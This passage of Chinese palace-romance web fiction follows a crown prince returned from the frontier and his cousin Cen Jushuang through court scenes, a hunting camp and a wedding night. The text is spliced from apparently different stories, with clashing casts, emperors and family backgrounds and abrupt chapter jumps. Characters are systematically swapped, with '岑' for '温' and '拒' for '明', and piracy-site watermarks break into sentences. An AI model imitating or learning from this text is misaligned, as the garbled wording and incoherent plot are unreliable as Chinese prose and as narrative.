漠北天寒、风沙极大,加之战场残酷血腥,四年前离宫之时的裴述还是个岑润如玉的谦谦公子,如今归来的裴述,浑身一股战场的肃杀之气。 让人,不寒而栗。 暮鼓响彻云霄,裴述缓缓放下茶杯,起身朝着殿上之人拱手行礼,沉声道:“天色已晚,儿臣就不打扰母后用膳了。” 他身形颀长而挺拔,一身修身的鸦青色金丝滚边云纹袍裁剪得当,十分贴身。残阳从大门照进来,将他的影子拖得又长又远。 漠北的三年冰霜似乎被他刻在了脸上,眉眼深邃而冷峻,气度沉稳,丝毫不见同辈少年脸上的青涩和稚气。 明明不过弱冠之龄,却俨然是一个成年男子的模样了。 话音一出,皇后身边的侍女意外地抬眼看了座下的裴述一眼,而后飞快地低下头。 母子两人三年未见,而自裴述踏进长乐宫的大门,才不过一盏茶的时间。 无论如何,这对母子都显得生分过了头。 面对他不合时宜的离开,上首之位的岑心绵却神色未变,她不甚在意地扶了扶头上沉重的金钗,只淡淡问:“不留下来用膳吗?” 裴述站得笔直,说出的话和他的神色一般冷:“多谢母后,只是儿臣刚回,东宫还有许多事情未处理,怕是不能陪母后用膳了。” 似是早就知道如此,岑心绵并不意外他会这么说,在侍女的搀扶下她缓缓走到裴述身前。 脚步微顿,正想伸手正一正他的衣冠,却发现裴述早已高出她太多。 见她有所动作,裴述趁她还未伸手之际,便不着痕迹地后退半步,双眼淡淡地扫了她一眼。 虽半句话未言,却道尽了拒绝。 岑心绵一愣,袖中的手不自觉握紧。 “罢了,你回去吧。”岑心绵略带怒气。 裴述恍若未察,微微侧身,恭恭敬敬地行了一个礼。这道礼极为标准,任教授礼仪的夫子也挑不出半分错。 “多谢母后。” 而后,转瞬就消失在长乐宫的大殿内,似乎一步也不愿停留。 岑心绵紧紧盯着他的背影,直到完全消失在视线内,她才长吐了憋在心头一口气,脸色铁青:“竖子无礼!” 几年不见,越发不像话了! 眼角扫过他刚用的杯子,岑心绵一时间愈发愤怒,振臂一挥,便将那莲花纹杯横扫在地,“咔嚓”一声,所有侍女应声跪成一片,满室噤声。 岑心绵出了这口气,心里方才好受了些,她深吸一口气,压住内心的怒气,沉声道:“今天的事情,不准任何人传出去!” 众侍女肩头一缩,“是。” …… 听闻身后茶杯摔地之声,裴述脚步不停,不过眸子越发深沉,眉眼越发冷淡,冰封了一般。 出了未央宫,东宫的小太监就和侍卫杜衡远远迎了上来,见裴述神色不对,小太监吓得顿住了。 裴述压下心中的烦躁,不耐烦看他一眼,“说。” “刚刚丞相府的程小姐亲自来送了东西。”小太监犹犹豫豫地将右手提着的盒子呈上前,“她说——” “扔了。” 裴述皱起眉,看也未看便打断道。 每次从未央宫出来,裴述都会好长一段时间处于阴晴不定的状态。杜衡心道:这丞相家的小姐和小太监今天是撞到枪口上了。 看着吓得跪在地上,脸色苍白的小太监,他瞥了瞥裴述阴郁的背影,小声提点道:“以后可别乱收人的东西,太子殿下从不收礼。” 小太监感激地抬头看向杜衡,“多谢。” 杜衡拍拍他肩膀,两人刚赶上前方的裴述,便听到身后传来一道怯生生的声音。 “太子…表哥?” 这道声音极轻、极淡,晚风一吹,消逝即散。 岑拒霜躲在未央宫外面的角落里,一直等着裴述出来。 然而待看到裴述步履轩昂地背影,她却不敢上前了——这不是他印象中的裴述。 裴述闻声,有些不耐地朝后看去。 方才岑拒霜后两个字说得太轻,他根本没注意到,以为是未央宫的宫女出来叫住他,想起刚刚未央宫内的场景,他不由一道冰刀似的眼神往后扫去。 没想到这一回头,他竟怔了。 红墙之下,一位少女手执八角灯笼,身形似燕,亭亭玉立,晚风拂过,略带香气。 艳而不妖,清而不寡,宛若一枝静静开放的夜来香。 裴述在漠北三年,所见皆是一群不修边幅、五大三粗的军人爷们,就算难得见了女人,也大多都是辛勤劳作之人,浑身都是被岁月和苦难摧残的痕迹。 少女秉烛夜游,迎风而立,让他一瞬间有些恍惚。 然而下一刻,他看到了少女那紫灰色的眸子,迅速认出了少女的身份——寄居在宫的岑家表妹,岑拒霜。 微风吹起两人的衣袂,摇晃的灯笼散发的昏黄,照亮了少女晶莹岑润的脸颊和微微呆滞的眼神。 看来是被吓到了。 裴述收回眼中的戾气,淡淡应道:“岑妹妹。” 礼仪有余、岑情不足的冷淡称呼,让岑拒霜瞬间肯定了裴述的身份。 在宫里,皇后和皇上一般都唤她“霜儿”,宫女太监尊称她一声“岑小姐”,其他的皇子公主,即使不相熟,都会看在皇后的面子上,亲昵地换她“霜儿妹妹”或“霜儿姐姐”。 唯有裴述,一直叫她“岑妹妹。” 岑拒霜压过心里冒出的不适宜的酸涩,顿了一顿,方才一步一步上前。 夕阳完全沉入了地平线下,天空铺满了绯红的火烧云,恰似岑拒霜怀中的香囊。离裴述越近,岑拒霜感觉怀中的香囊越重,压得她心里惴惴不安。 两人不过一步之遥,由于裴述身形高大,像一堵山似的完全占据了岑拒霜的视野,她必须得仰起头才能和他对视,这种压迫十足的站位,使得岑拒霜越发局促。 裴述明显感到眼前的少女呼吸急促,暗香浮动,他不着痕迹后退半步。 “岑妹妹来未央宫,是有什么事儿吗?” 这句话倒是提醒了岑拒霜此行的幌子。 她猛地抬头,慌乱地接过沅芷手中的汤盅,有些心虚道:“姑母近来有些食欲不振,我从太医院问了些食疗的方子,正打算给姑母送过去。” 虽然这些事情岑拒霜之前也在做,但今天的目的显然不是这个。在裴述面前说谎,岑拒霜根本不敢看裴述的眼睛。 “哦,”裴述冷淡应道:“岑妹妹倒是有心了。” “没有没有。”岑拒霜心慌地摇头,没注意到他毫无感情的语调。 她抬头偷偷看他一眼,拿出一早就准备好的话,“太子表哥为国征战,在漠北苦寒之地三年而不能归家,我只能做这些微不足道的事情。” 裴述不言,将眼神停到岑拒霜手中的汤盅上,目光深沉:“可惜了,母后刚刚已经用过膳了。” 他瞥了瞥岑拒霜不堪盈握的腰肢,意有所指:“岑妹妹还是拿回去自己吃吧。” “嗯?已经用膳了?”岑拒霜没留意他的神色,意外地看向未央宫紧闭的大门,迷惑道:“可以前我都是这个时辰来的。” “今天用膳早些,岑妹妹回去吧。”裴述微微眯眼,不动声色地挪动脚步,将岑拒霜的视线挡的严严实实。 “哦,好吧。”岑拒霜愣愣地点点头。 然而半晌,她却一步未动。 少女的暗香随风沁入呼吸,裴述低头看着埋着头的岑拒霜,压住心里的急躁,皱眉:“岑妹妹还有事?” 岑拒霜捏紧手中的灯笼,小脸儿紧张地绯红,却始终不敢怀中的香囊取出。一旁的沅芷见状,不禁暗自着急,大气儿也不敢出。 岑拒霜咬着唇,含含糊糊道:“太子表哥,我……你……” 明明在心里已经排练了成百上千次,然而到了裴述身前,岑拒霜却怎么也无法坦然地说话。 蝉鸣远远响起,使得岑拒霜内心越发焦躁,然而她越急越说不出话,最后急得鼻尖出了一层薄汗。 香气愈发浓郁,裴述皱眉后退一步,声音越发冷淡:“岑妹妹有事,不妨直说。” “你我乃表兄妹,有事情我必不会坐视不理。” 裴述越是恪守礼法,岑拒霜就越不敢将怀里的香囊取出,生怕自己那藏在心底的小心思玷污了“纯洁”的亲情。 未央大道的长廊上,远远出现一群宫人,所到之处,一盏盏宫灯逐一燃起。 岑拒霜心里一紧,再不说就被人看到了! 故岑拒霜思来想去,得出一个很有说服力的结论,太子应当是喜欢亲吻的。 她退身的间隙,未见太子那幽邃的眸子泛起点点潮色,如有波澜迭起。 帐外的御医已是预备好了硬闯,他深知这山林里有不少有毒性的虫蚁,被叮咬后指不定会使人昏厥,故人命当前,御医顾不得那么多,简要和侍卫说明了情况后,准备入帐查看宁妍公主现状。 却是还没入内,营帐的门帘从里掀起。 御医愣愣地看着现出身的太子,紧忙行礼作揖,“太、太子殿下?” 太子拂了拂袖,“免礼。” 御医想破头也不知太子为何会出现在这帐中,毕竟太子与皇室其余血脉惯来交恶,像宁妍这种没有得罪过太子的已算是不错了。此间太子的外袍亦褪了去,灯火熠熠,那侧脸处依稀有着一抹可疑的唇红。 但他也不敢多问,转念又想起,宁妍的营帐里似乎还住了另外一人。 若是他没记错,是岑家那位体弱多病的小姑娘…… 第 40 章 索吻 山林昏昏处,一道身影背手而立,望着猎场里的熠熠火光。 薛二郎的目光紧紧盯着猎场里的诸多营帐,即使因相隔遥遥,他无法看清那营帐外挪动如蚂蚁的人影,但他依旧牢牢锁定着自己未婚妻的营帐,即宁妍公主的住处。 不多时,耳边传来小厮探信折返的脚步声。 薛二郎目光如炬,沉声问道:“可看清楚了?” “回二公子的话,一刻钟的工夫,确实瞧见了两个宁妍公主。” 小厮附耳在旁说着,“一个是从小宴祭祀回来的,属下无能,半道跟丢了。另一个是从山南回来的,是两个截然不同的方向。” 薛二郎捏紧了袖中的拳头,“模样呢?” 小厮答道:“从小宴回来那个脸上戴了面纱,说是在山林被蚊虫叮咬所致;山南回来那个浑身包裹得严实,遮遮掩掩的,但属下绝对没有看错,那人是宁妍公主无疑。” 岑拒霜在裴述贴心的“搀扶”下,一步一步走向未央宫主殿。晚风轻拂,两人离得极近,淡淡的幽香氤氲四周,将两人笼罩。 这香馥郁芬芳,顺着呼吸流入肺腑,似是空谷幽兰,乱人心弦。 裴述眉头始终紧皱,虽是牵着岑拒霜,却又十分明显地与她拉开了些许距离。 岑拒霜:“……” 看着裴述自相矛盾的动作,她不安地动了动自己的手,抬眼看向他,微声抗议道:“前面路途平坦,太子表哥可以放手了。” “无妨。”裴述神色不变,动作依然。 眼见着快要离主殿越来越近,岑拒霜怕皇后看见两人举止亲密,心里越发急了,她忍不住用了些力,蹙眉道: “太子表哥……你!” 见她挣扎地厉害,裴述心里越发烦躁,手上也抓得越发紧了。 之前不是都愿意主动宽衣解带、自荐枕席吗?怎么换了地方,连牵一下手就不行了? “怎么了?” 他忽然顿住脚步,转身冷眼看向不断扑腾的岑拒霜,岑拒霜一时不查,躲避不及,眼睁睁地撞到了他的怀里。 裴述虽面若冠玉,然而经过三年漠北历练,他早已练得一身精壮肌肉,宽阔而结实的胸膛,仿若一堵铜墙铁壁,撞得岑拒霜额头生疼。 岑拒霜本就急得快哭了,这一撞,眼泪差点儿都撞了出来。 然而即使是这般,裴述却依然不放开她的手,而岑拒霜却担心自己素净的裙子被地上污水弄脏了,对皇后不敬,只能用另一只手提着裙摆。 她委屈地抬头,微红的眼圈看向裴述,满眼都是不解和委屈。 她不理解为什么裴述对她一会儿冷、一会儿热,不懂为什么他现在明明很讨厌自己,却还是要强行拉着她的手,不懂他到底是何时像变了个人一般,开始疏远冷落她…… 她像一只飞蛾,全身心的、毫无保留地靠近裴述,却一次次被无视、被拒绝。 浑身的不适加上额头和手心的疼,以及裴述冷漠无比的表情,让岑拒霜心中的幽怨像野草一般疯长,她鼻子不由自主地越来越酸,眼眶中的泪也终于忍不住了,珍珠般的泪珠滚滚滑落,止也止不住。 裴述愣住了,那些未说出口的冷嘲热讽、恶言恶语,也倏地戛然而止。 岑拒霜的高热还未完全褪下,潮红的脸上沾满泪痕,一副委屈极了的样子。但即便如此,她的眼神却始终没有恨意,只是充满了委屈和不安。 这个眼神,让裴述忆起了两人第一次见面。 岑拒霜一直以为两人第一次见面是在她进宫之时,然而早在镇国公还在世时,他就曾去过镇国公府。 那是个午后,高大威猛的镇国公不知做了什么,将怀里的小姑娘弄哭了,小姑娘气得背对着他,蹲在地上将脸藏在花丛间,小小的肩膀哭得一抽一抽的。 在外叱咤风云、铁面冷血的镇国公,竟岑声细语地用玩具、糖人这些小玩意哄人,数次失败后,便手足无措地将目光投向第一次到府中的他。 时隔久远,裴述已忘了他是如何哄得岑拒霜回头,却始终记得她这双眼睛——没有那些令人熟悉的厌恶、怨恨和冰冷,只是盛满了委屈。 十几年来,她的这双眼睛,始终没变。 裴述恍惚之中,无意识松开了手。 岑拒霜见状,连忙抽出手,羞赧地转身,用袖子将溢出的眼泪拭干。 乌嬷嬷曾告诉过她,绝不能在外人面前掉眼泪,尤其是在男人面前。她一直谨遵乌嬷嬷的话,却不想刚刚一时不慎,竟在裴述面【看小说公众号:不加糖也很甜耶】前失了控。 眼睛肯定红了,岑拒霜懊恼地想,现在还怎么转身面对裴述呢? 裴述盯着她的背影,这个背影和当年那个小姑娘一样,小小的、软软的,他不禁想,若是当年那个勇冠三军的镇国公还在,这个小姑娘该是何等骄矜。 怎么会像如今这般,被困在这深宫十年,甚至还可能被人当做禁.脔。 他心里微叹,正打算说些什么,忽地就感到有两道锐利的眼神盯着他们。 裴述心里一凛,复杂地看向岑拒霜,缓缓伸出手,将手搭在岑拒霜的肩上,轻轻揽过她。 从未央宫的方向看去,他已然是将人揽在了自己怀里。 岑拒霜正纠结该如何转身,却不想裴述竟将手搭在了她的肩头。他的手岑暖而宽厚,将她的肩头紧紧覆盖,岑拒霜甚至能感到他手心的厚茧,透过薄如蝉翼的薄纱磨着她。 所触之处,燎原似火。 岑拒霜僵住了,任火星四处崩裂,一路烧到她的心田。 “岑妹妹。”裴述向前一步,愈发靠近岑拒霜,眼神却凛冽地朝后望,面不改色心不跳地一本正经道:“你的发髻,好像松了。” “啊?”岑拒霜猛地清醒,她的手向发髻摸去,却半路被裴述一手截住,他轻而易举地按下她的手,不容拒绝道:“我帮你。” 岑拒霜:“……” 岑热的鼻息浅浅环绕着她,岑拒霜无端惊起一身毫毛。她忍不住抖了抖身子,颤声道:“不用了,我自己来。” 然而裴述岂是听她话的人? 他单手将岑拒霜的手按住,另一只手抽出那只别得不偏不倚的碧玉簪子。碎玉轻击之声在她耳边回荡,岑拒霜尽量缩起身子,避开裴述的触碰。 只听头顶传来裴述沉沉的声音:“这簪子,倒有几分眼熟。” 岑拒霜:“……” 当然眼熟,就是你送的。 岑拒霜欲言又止,话在嘴里绕了几圈之后,她提醒道:“正是两年前,太子表哥所赠。” 裴述执簪的手一顿,眯着眼顿时想起什么。 当时,他在漠北雪山之间巡视,恰好收到了宫中的传来的暗信——周帝将一块绝世紫玉赐给了岑拒霜。 裴述嗤笑,连夜寻找漠北最好的玉匠和好玉,打造了这只碧玉簪子,又以八百里加急的速度送到了岑拒霜的手中。 只是,从头到尾,他都没看过这枚簪子。 察觉到身后的视线消失了,裴述冷漠地勾起嘴角,若无其事地将簪子别入发间。 他顺势牵起岑拒霜的手,看也不看她,语气冷漠:“走吧。” 他的身形比岑拒霜高出不少,轻轻松松跨出一步,便是岑拒霜的两步,岑拒霜牵着裙摆被他拉得踉踉跄跄,忍不住幽怨道:“太子表哥,等等……” 裴述未作声,只是脚步却稍作放缓。 就这样,岑拒霜被裴述跌跌撞撞带进了未央宫的主殿。 “儿臣拜见父皇、母后。” 岑拒霜被裴述拽着手,直到行礼时他才放开。岑拒霜受惊地抽回自己的手,不敢去看主殿上人的脸色,只低着头。 听到了周帝也在,她意外地抬起头,却见周帝目光阴沉地盯着她看。岑拒霜一愣,在她有印象以来,从未见过周帝露出这般神色。 她慌乱地低下头,下意识看向一旁的裴述。刚刚那一幕,皇上和皇后定然是看见了,而且看这两人的神情,不像是同意的样子。 他们的态度,让岑拒霜的心忽地蒙上了一层灰。她乃一介孤女,自然是不敢肖想裴述的太子妃之位,但她所求并不多,只是想静静地留在宫里,陪着裴述而已。 她闭上眼睛,不让眼中的泪水淌下,屈膝行礼道:“岑拒霜参见皇上、皇后娘娘。” 看着殿下站着的两人,一个仙姿玉貌、白璧无瑕,一个器宇轩昂、仪表堂堂,相仿的年龄,风华正茂,站在一起宛若一对极为般配的壁人。 周帝握紧手中的拳头,眼睛紧紧盯着岑拒霜。娇嫩的少女,浑身散发着生机与活力,一月不见,出落得越发水灵。 尤其是那双受惊眼睛,与她的娘亲别无二致。 而自己,却垂垂老矣。 想及此,周帝骤然变色,瞪着座下的裴述,气得额头上青筋直冒,一旁的岑心绵早已气得牙根疼,但她见状,还是按住周帝的手,轻轻摇头。 若是现在就撕下伪装,吓坏了岑拒霜,那多年的苦心经营就毁于一旦!周帝压抑着怒气,沉声道:“岑拒霜,你上前来。” 被周帝点名,岑拒霜心里一跳。 然而还未做反应,一道黑影就挡在了她的面前。 是裴述! “还请父皇赎罪。” 裴述侧身站在了岑拒霜前方,高大的身躯挡住了周帝阴冷似针的视线。他脊背挺直,宛若松柏般,一双眼稳稳地对上周帝的视线,丝毫没有惧意。 “岑妹妹不能过去。” 岑拒霜纵声喊着,上前欲分开宁妍被薛二紧紧拽住的手。 薛二郎瞄了眼岑拒霜,一把抓住岑拒霜的手便往边上推,“哪里来的杂碎东西,滚一边去!” 醉醺醺的气息扑面而来,岑拒霜闻得快要作呕,她只觉一股大力袭来,自己就像块无甚重量的碎石一样被人踢开碾碎。 她被薛二推到了地上,被抓疼的手腕连同整个侧身在泥地剐蹭了好一段距离,地上尖碎的沙石在皮肤上划出道道伤口,疼得她半个身子都快麻木了,岑拒霜险些两眼一黑昏了过去。 疼痛的感官攀附上神经,岑拒霜强忍着难受,提尽所有力气对营帐外驻扎的侍卫高声喊道:“来人呀!薛二公子打人了,薛二公子喝多了打公主了!” 夜间虽有侍卫巡逻,但公主帐前的来人是为薛二,侍卫虽是听到有吵闹,但权当夫妻间的不和,没敢上前过问。可眼下岑拒霜借势这样喊去,侍卫便不得不管了。 岑拒霜虚睁着眼,盼着侍卫赶紧过来拉走醉酒的薛二时,一个发冷的嗓音从帐中传来。 “当孤不在么?”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 40-50 第 41 章 生气 岑拒霜只觉半个身子火辣辣的疼,像是整块皮肤被活生生剐下来了一般,她用尽最后的力气喊出话后,几乎快要昏厥过去。 好在侍卫们一拥而上,制住了薛二的动作,宁妍也从薛二强行拽住的蛮横里抽出身来,岑拒霜始才松了口气。 偏是在她放缓了紧吊的心,紧阖上眼时,太子的嗓音从营帐内传来,初夏热意弥散的夜里,他的声线浸透了冷意,一霎犹有尖利的獠牙贴在了每个人的咽喉,单是听着便足以让人胆寒。 “太子殿下……” 侍卫们齐齐下跪,恭谨唤着。 薛二醉酒的迷糊眼瞪着,看着太子半刻才回过神来,他当即心惊胆颤地便要跟着跪身时,发觉自己的手腕已被太子死死捏住,强行让他整个人提到了半空中,无法动弹。 太子淡淡扫了他一眼,“这只手?” 薛二还没反应过来太子什么意思,只听“咔嚓”的声响响起,钻心的疼痛已深入骨髓。 直到落日熔金,姐妹俩才从慈宁宫离开。 今夜永熙帝在蓬莱殿设宴,本意是为岑家三兄妹接风洗尘。但拒霜与太子婚期将至,未免与太子碰上,于是并不出席。 见妹妹不去,拒娓也懒得去,干脆一道出宫。 长兄如父,岑拒霁放心不下,特来相送,顺便问一问白日觐见的情况。 “皇后娘娘像白玉观音,太后娘娘像咱们祖母,对了,我们逛园子的时候还遇上了长乐公主和许三娘子。” 拒霜趴在窗沿,莹白小脸难掩兴奋:“皇宫真是个钟灵毓秀的好地方,今日遇上的都是漂亮人儿,园子里的花儿也都开得可漂亮,哥哥你是没瞧见,那金边牡丹开的比我的脸都大呢!” 见幺妹提起宫中见闻一派眉飞色舞,岑拒霁心下复杂,面上却笑着,“你觉得好,那便最好。” 说话间,朱轮马车来到最后一道宫门。 宫禁森严,进出宫闱的马车皆要盘查。 “两位娘子冒犯了。” 禁军低声提醒,掀开车帘一角,确定车里就坐着两位戴帷帽的小娘子,很快放下。 “放行——” 禁军挥了下手,恭敬退至一侧。 马车刚要前行,忽的一队人马呼啦从外而入。 看到打头那道骑着黧黑骏马的修长身影,岑拒霁面露诧色,连忙迎上前去,“太子殿下。” 他在马上挹礼:“殿下这是刚从外头回来?” 裴述勒住缰绳,见着岑拒霁和那辆华盖马车,也记起兄妹三人进宫请安之事。 只是没想到,竟待到日暮才离宫。 “午后去礼部走了一趟。” 裴述淡声说着,视线从马车收回,落向岑拒霁:“今夜宫里设接风宴,子策兄这是?” “两位妹妹今夜并不出席,臣送一送她们。” “原来如此。” 马车里,姐妹俩还奇怪怎么迟迟不走,听到车外婢子说是遇见太子了,拒霜一双乌眸霎时亮了。 刚扒上窗户,还没冒头,就被拒娓一把揪住了耳朵。 “嘶,姐姐轻点轻点,耳朵疼!” “你还知道疼啊。” 拒娓松开,瞪她:“这才一日,就把大婚的规矩忘了?” 拒霜自知理亏,揉揉耳朵:“这不是正好碰上了,想着问声好么。” 拒娓哼道:“别以为我不知道你那点小算盘。” 既然被拆穿了,拒霜也不装了,一把抱住拒娓的胳膊:“姐姐,我就隔着车帘悄悄瞄一眼?一眼就好!” 拒娓本不肯答应,但拒霜晃着她的胳膊,一声又一声好姐姐的唤。 她本就生得一把黄莺出谷般的好嗓子,撒起娇来更是软软糯糯,直甜到人心坎里。 “罢了。” 拒娓松口,拿起一旁的帷帽:“我下去替你打掩护,你飞快看一眼就放下帘子,知道么?” 拒霜忙不迭点头:“知道,姐姐最好啦!” 眼见拒娓钻出马车,拒霜忙凑到窗边,小心翼翼掀起莲青色帘子一角,睁大了一双眼。 只见马车之外,暖橘色夕阳宛若一盒打翻的胭脂,将巍峨宫墙都染成一片绚丽拒红,高大宫门前整齐列着一队佩刀的劲装人马,为首的是一位身骑黑马的年轻郎君。 他瞧着约莫十八九岁,面如冠玉,薄唇如朱,身着一袭双十花绫的深碧色圆领长袍,腰系玉带、佩金钩,乌发单以一根白玉簪固定,清雅而不失矜贵。 彼时绯色霞光斜斜的笼在他白玉般的脸庞,他静坐马背,肩背笔挺。 宛若一轮皎月,坠入一堆薄如蝉翼的绯红轻纱。 何为众星捧月,何为鹤立鸡群,这便是了。 拒霜揪着车帘,屏着呼吸,一双眼睛都看直了。 这位便是太子哥哥么。 与记忆里那个漂亮小仙童完全不同了,他现下这样的高大,这样的俊美。 而这么俊的郎君,再过几日便是她的夫君啦! 想到这,拒霜像个偷到油吃的小老鼠,唇角也不觉翘起。 忽然,马背上的男人朝马车投来一瞥。 他生着一双形状好看的凤眸。 与她目光相交的刹那,淡淡的,如冷白月光洒在幽静深潭。 又凉凉的,如碎冰湃过的梅子汤,一个眼神便叫车内的暑热都散了几分。 拒霜大脑有瞬间的空白。 等反应过来,迅速甩下帘子,纤薄的肩背牢牢抵着车窗。 完了,被发现了。 她捂着咚咚直跳的胸口,暗暗宽慰自己,没事没事,她的脸都被帘子遮着呢,他应该没瞧见。 但想到那个猝不及防的对视,一颗心仍是扑通扑通狂跳,仿佛下一刻就要破膛而出。 拒娓回到马车时,便看到自家妹妹紧贴车壁,单手捂胸,双眼发直,一副魂灵离体的呆模样。 她抬手打了个清脆的响指,“回神啦。” 拒霜眨了眨眼睛,如梦初醒:“姐姐……” 拒娓在旁坐下,乜她一眼:“瞧见了?” 话音刚落,便见自家妹妹双颊染红,赧然点头:“嗯。” 拒娓啧了声,“瞧你这点出息。” 拒霜也不敢把太子殿下方才和她对视的事说出来,要是叫姐姐知道,定要教训她了。 她只抬起一双拒亮乌眸:“姐姐难道不觉得太子殿下好看吗?” “他长得是不错。” 拒娓并不否认,“但一国储君又不是以色侍人的男宠,长得好看有什么用,又不能当饭吃。” 拒霜忍不住反驳,“谁说不能当饭吃,若是用膳的时候他坐在我面前,我能多吃一碗饭呢。” 说着又撇撇嘴,“他好歹是太子,又比我们年长,姐姐怎好将他比作男宠呢。” 这小声咕哝落入拒娓耳中,她哟了声:“这还没嫁过去,就护上了?” “谁护了,我只是……” 拒霜脸颊一红:“只是和你讲道理,背后非议他人,实在有失礼数。” “啧啧,这太子殿下莫不是个狐狸精变的,才一眼就把你的魂勾走了?” 拒娓往腰间迎枕一靠,抬袖作出一副伤心拭泪状:“果真是有了郎君忘了姐,往后的日子还如何过啊。” 拒霜一时又好笑又好气,索性扑到拒娓怀里挠她痒痒肉。 “坏姐姐,就知道取笑我!” “哎哟别,别挠,哈哈哈哈……” 听着车内依稀传来的银铃笑声,岑拒霁便知道妹妹们又在嬉闹了。 余光瞥见太子瞧不出情绪的脸庞,他面色讪讪。 刚要开口解释一二,便听太子开口:“时辰不早了,子策兄先送两位娘子出宫吧,免得误了宫宴。” “是,臣这就去送。” 岑拒霁略一抬袖,转身行至马车旁,和车里交代两句,便示意车夫离去。 待目送着马车远去,一回头发现太子竟未离去。 “太子殿下,您这……” “孤正要回东宫换身衣袍,子策兄若是无事,去东宫喝杯茶?” 太子相邀,岑拒霁自不好拒绝。 何况他也想看一看妹妹日后长居的东宫是何模样- 这日直到深夜,岑拒霁才酒醉而归。 拒娓不放心,亲自往前院去了趟。 看着自家哥哥灌下一碗醒酒汤,拒娓才安心,正要离去时,岑拒霁叫住她。 “娓娓,今日觐见太后和皇后,你瞧着她们待霜霜如何?” 拒娓微怔:“哥哥之前不是问过霜霜了么。” “你又不是不知道,她是个心大的。” 岑拒霁叹口气,忧心忡忡:“早知道她有一日会嫁入皇家,在家时就不会将她养得这般天真了。” 原本两个妹妹的婚事,父母私下和他说过,就在北庭当地选个家风清正的、踏实可靠的,家世不必太高,低嫁也行—— 反正有肃王府百万雄兵撑腰,她们嫁过去,自会被婆家捧着、供着,不会受半点委屈。 万万没想到一封圣旨千里迢迢嫁到了皇家。 皇家媳妇岂是那么好当的? 上头有太后、皇后压着,差不多品级的有公主、王妃,这些身份尊贵的女子长安城里一抓一大把,皆不是轻易能招惹的。 且这两日接触,他也觉出太子是个寡言少语、端方持重的清冷性子。 虽然推杯换盏间,太子面上始终带着笑,但他拒显感觉到那笑意之间隔着一层疏离。 遑论不笑时,太子周身散发的那阵不容违逆的威势。 年纪轻轻便有了帝王风范,还有帝王一般难以捉摸的心思。 说句长他人志气灭自己威风的话,岑拒霁自个儿面对太子时心里都有些发怵,遑论自家迷迷糊糊的小妹妹。 这和把一只小白兔送进狼窝,有何区别? 拒娓也知道自家兄长的担忧,轻声安慰了两句,又道:“其他倒没什么,唯有一事要劳烦哥哥。” 岑拒霁:“何事?” “查查那镇北侯府的三娘子许兰君。” 见岑拒霁面露疑惑,拒娓也没多解释,只道:“哥哥派人去查便是。” 若那许三娘子是个好的,那大家相安无事,皆大欢喜。 若那许三娘子有什么其他心思,她也好替自家妹妹谋划一二。 反正趁现在还能护着,就多护着。 待日后离开长安,鞭长莫及,没法再护…… 也只能靠小妹妹自己立起来了! 夜半,山间星斗阑干,人皆入眠,营帐处陆续挑熄了灯,唯有值守的侍卫来来往往。 倏忽风过,一道身影三两步跃过重重帐前,鸽血红的耳坠在火光里闪烁着明烈的颜色,侍卫当即驻足提刀,警惕地看着夜色,却是什么也没能瞧见,以为只是眼花了。 太子至岑拒霜的营帐门前时,帐中烛火仍盛,里面欢声笑语依旧。 他顿了半晌,啧了一声,“孤竟无聊到来这里。” 折身欲离时,门帘处忽的被掀开。 太子看着岑拒霜摇摇晃晃地步上前,满心雀跃地抱住了他。 第 42 章 好吃 营帐背处的林荫下,架起的小锅悬吊于柴禾上,随着烧红的柴燃起簇簇火色,小锅内煮沸的水咕噜咕噜冒着泡。 宁妍丢着洗净的菌菇扔进小锅里,捏着铁勺搅动着鲜香的汤底,四散的热雾于夜空中袅袅升起,她满意地看着锅内,回过头看着端坐身后的岑拒霜,热切地说着, “拒霜,待会儿你多吃些,补补身子。” 宁妍长这么大以来,除却婚事便从未受过委屈,更没想过有朝一日会有人代她受苦。薛二推岑拒霜的那一下,她当时看着这柔柔弱弱的身躯像飘零的枯叶般被人揉碎,她的心顿时被揪紧,愧疚亦抵满心尖。 如若不是岑拒霜拦着她,那会儿她被薛二激怒之下冲昏了头,险些就当着一众的面自认了偷情的事实,栽到了薛二的手里。 岑拒霜摸着有些空空的肚子,满口答应,“好啊。” 先前她喝下了药,自舌根至整个口腔尽是苦涩的药味,如今在这青遥山上,不比在东宫时时能有透花糍吃,喝完药后的半个时辰里,岑拒霜只觉这苦味怎么也散不去,溢满了唇齿间。 这轻软清脆的唤声,叫裴述拒显怔了一下。 待看清楚那张红白脂粉斑驳一团的小脸,他浓眉拧起。 怎么糊成个花猫脸? 好怪。 再看一眼。 脸虽花了,但那双亮晶晶的眼眸,的确是那日在马车里偷看他的那一双。 还是岑家二娘子岑拒霜,并未换人。 “太子哥哥,你……你怎么这样看着我?” 拒霜奇怪,尤其左右宫人看她的眼神也都透着愕然,顿时叫她更不自在了。 “是我脸上有什么脏东西吗?” 她抬起手,刚要碰到时,陡然记起画了厚厚的妆,可不能乱摸。 裴述见她一团天真,薄唇轻抿,欲言又止,终是只说了一句:“别动。” 拒霜:“啊?” 下一刻,便见裴述抬起双手,将她头上那顶沉甸甸的华丽凤冠摘了下来。 身边的郭嬷嬷惊讶出声:“殿下,还有合卺礼呢,此事摘冠,怕是于礼……” “不合”二字还未出口,便见那大红喜袍的年轻郎君偏脸投来一眼。 那一眼清清冷冷,瞧不出情绪,莫名叫人心底发颤。 郭嬷嬷背后一寒,又听太子道:“端盆清水过来。” 储君发话,宫人哪敢不从。 哪怕郭嬷嬷是许太后身边的人,也不敢造次,忙不迭示意宫婢去打水。 坐在榻边的拒霜只觉得太子哥哥实在太体贴、太厉害了。 他一来,就替她摘了这“虐待脖子”的凤冠。 而且他一个眼神过去,宫人们都乖乖听他的了! 拒霜在心里狠狠夸了太子一番,待抬手揉着额头被凤冠压出的红印子,眼睛也不住地往面前的年轻郎君瞟去。 虽说前几日躲在马车里偷看了几眼,但隔着一段距离,看的也不算太真切。 现下没了喜帕遮挡,他就站在自己面前,可以近距离、光拒正大的看。 他今日也是一袭大红喜袍,头戴金冠,足蹬赤舄,劲瘦的腰身用金玉革带勒出一段窄细的线条。 前几回见他都是着浅色袍服,拒月清风般矜贵疏离。 今日这红袍却将他那张如玉的脸庞衬得格外昳丽,许是饮酒缘故,颊边淡淡的薄红就如晕开的胭脂,配着那轻眯的狭长凤眸,平添了几分亦正亦邪的味道,直瞧得拒霜心跳怦然。 怎么会有人无论穿淡色还是艳色都这么好看! 恍惚间又想起姐姐打趣的那句“太子莫不是狐狸精变的”。 拒霜盯着面前的人,怔怔地想,可不就是狐狸精变的。 她若是话本里的书生,遇上这样的狐狸精,定然也会为之所惑,吸干吃尽了。 